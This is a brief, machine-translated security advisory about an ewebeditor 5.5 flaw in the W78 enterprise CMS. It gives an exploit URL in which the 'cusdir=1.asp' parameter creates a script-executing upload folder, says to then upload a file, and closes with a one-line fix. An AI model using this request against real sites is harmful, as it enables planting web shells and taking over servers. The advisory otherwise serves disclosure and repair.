W78 enterprise website background management system ewebeditor5.5 vulnerability exploitation and repair

W78CMS is an asp cms open source system designed for enterprise users.
Provides various webpage templates, enterprise website templates, free enterprise website systems, automatic website creation systems, and all enterprises...
The program is developed using ASP + ACCESS. English and Chinese complex language, all pages using UTF-8 universal code, compatible with simplified Chinese, Traditional Chinese and English, suitable for small and medium-sized enterprise websites. The background data is recorded in both Chinese and English. Traditional Chinese data is automatically converted to JS without maintenance.

W78 enterprise website background management system has the ewebeditor5.5 Vulnerability

Exploitation Method

Asp // upload. asp? Action = save & type = image & style = popup & cusdir = 1.asp"> http://www.bkjia.com/admin/w78eWebEditor/asp//upload.asp? Action = save & type = image & style = popup & cusdir = 1.asp

Then upload the file.

 

Fix: Change Editor or filter